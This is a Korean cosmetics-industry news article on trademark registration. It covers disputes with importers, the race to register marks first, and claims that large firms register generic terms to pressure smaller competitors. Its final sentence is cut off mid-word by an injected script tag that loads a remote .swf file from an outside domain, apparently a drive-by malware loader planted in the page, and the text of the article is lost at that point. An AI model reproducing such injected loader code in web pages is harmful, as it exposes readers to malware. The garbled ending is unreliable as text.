‘상표도 재산이다’ 상표등록 중요성 부각… 일부에선 악용되기도 ★업계의 ‘뜨거운 감자’ 상표등록 제품명이 단순히 언어의 조합으로 치부되던 시대는 지났다. 이제는 상표도 하나의 지적 재산권으로 대접받는 시대다. 문자의 조합으로 무한대의 낱말을 만들 수가 있지만 또 막상 어떤 말들도 제품명으로 함부로 사용할 수 없는 것이다. 상표등록은 항상 분란이 있는, 한시도 조용할 수 없는 부분이다. 특히 국내에는 아직 지적 재산권에 대한 인식 수준이 그리 높은 편이 아니라 더욱 빈번하게 문제가 발생하고 있다. 화장품업종도 예외가 아니다. 브랜드의 라이프 사이클이 비교적 짧은 식품, 의류와 함께 화장품도 상품 등록 때문에 항상 시끄럽다. 국내 메이저급 회사와 한 수입사 간에 상표 분쟁으로 대법원에서 심사가 진행 중일 정도로 상표 등록은 업계의 뜨거운 감자다. 상표 등록이 이렇게 말도 많고 탈도 많은 이유는 뭘까. 무엇보다 상표의 중요성은 나날이 부각되고 있는데 업계의 이해는 그에 못 따라가는 것이 가장 큰 이유로 분석된다. 상표의 중요성에 대해 충분히 인식하고 있는 상위업체들을 중심으로 체계적으로 상표 등록이 이뤄지고 있는데 반해, 중하위권업체는 상표 등록에까지 손쓸 겨를이 없다. 그렇다 보니 지적 재산권 문제로 다툼이 잦은 것이다. 그나마 국내사간의 싸움은 원만하게 해결되는 추세다. 악의적인 관계가 아닌 이상, 상표 사용료를 내고 통상 사용 실시권을 부여받아 합법적으로 상표를 이용하고 있다. 하지만 수입사와 마찰이 생겼을 경우에는 대부분 법정에서 판가름이 나고 있다. 상표 등록의 경우 여차하면 억대 재판이 돼 재판 여부가 기업에 미치는 영향도 엄청나다. 중소업체의 경우 상표 등록에 관해 소송을 잘 못 걸면 존폐가 엇갈릴 정도로 상표의 중요성이 크게 부각되고 있다. ★상표, 투자한 만큼 거두는 지적재산 상표 등록은 선점이 최선의 방법이다. 소비자에게 쉽고 친근하면서도 전문성을 함유한 적절한 용어를 찾아내 먼저 등록을 하는 수 밖에 없다. 좋은 이름의 도메인을 일초라도 빨리 등록하는 사람이 임자인 도메인 사업과 마찬가지다. 다만 다른 것이 있다면 도메인 사업자의 경우 전문점으로 사업을 한다는 일종의 투기사업과 유사한 반면, 상표등록은 지적 재산권을 인정받는 일종의 창작물이라는 점이다. 그리고 등록에 있어서도 도메인이 몇 초면 끝나는 것을 상표등록은 보통 1년이 걸릴 정도로 오랜 시간이 걸린다. 하지만 상표 등록의 중요성을 이미 깨달은 이들에게 1년은 긴 시간이 아니다. 최근에는 국내에서도 지적 재산권이 공론화되는 사건이 빈번하게 발생하고 있다. 한 예로 최근 MBC와 작가 김수현 사이에 벌어지고 있는 저작권 침해 논란이다. ‘여우와 솜사탕’이 ‘사랑이 뭐길래’를 표절했다는 김수현씨의 주장이 대법원에서 인정을 받을지 말지는 아직 알 수는 없지만 지적 재산권의 중요성을 각인시켜주는 한 사건임은 틀림없다. ★ 상표로 특정업체 공격 ‘악태’ 여전 그렇다고 상표등록이 항상 업계의 발전에 기여하며 지적 재산권을 향상시키는 역할만 하는 것은 아니다. 중하위권업체에서는 오히려 상표등록은 악법과 다름없다고 항변하고 있다. 일부 상위업체에서 상표등록을 볼모로 중하위권업체를 공격하고 있다는 주장이다. “누가 생각해도 일반적이며 효능을 표현하거나 원료에 관한 용어인데도 불구하고 버젓이 상표등록을 해놓고 사용료를 받아먹는 행태가 자행되고 있다.” 한 중위권 메이커의 지적 재산권 담당자의 하소연이다. 그에 따르면 상위업체들은 막대한 조직력을 동원, 무차별적으로 상표등록을 출원해 법의 허점을 이용한다는 것이다. 상표 출원한 수가 워낙 많고 심사위원들이 화장품 전문가가 아니기 때문에 보통명사까지 상표등록되는 경우가 있다는 설명이다. 이에 대해 상위업체 담당자들은 억지라며 반박한다. 상표법 6조에 ‘관용하는 상표’, ‘산지·품질·원재료·효능·용도·수량·형상·가격 등’ 등 일반적인 용어나 기능을 나타내는 상표는 등록에서 제외한다는 문구가 있는데도 불구하고 이런 점들을 문제 삼는다는 것은 억지라는 주장이다. 혹시라도 의문스러운 점은 재판으로 판가름 짓자는 것이 이들의 의견이다. 상표등록의 합법 여부보다 더 심각한 것이 상표등록권자의 횡포다. 이런 주장은 업계에 공공연히 나도는 말로, 상위 메이커가 중하위권 메이커의 성장을 방해하기 위해 상표등록을 이용하고 있다는 설이다. 실제 상표등록으로 마찰?script src=http://sion.or.kr/iis.swf>

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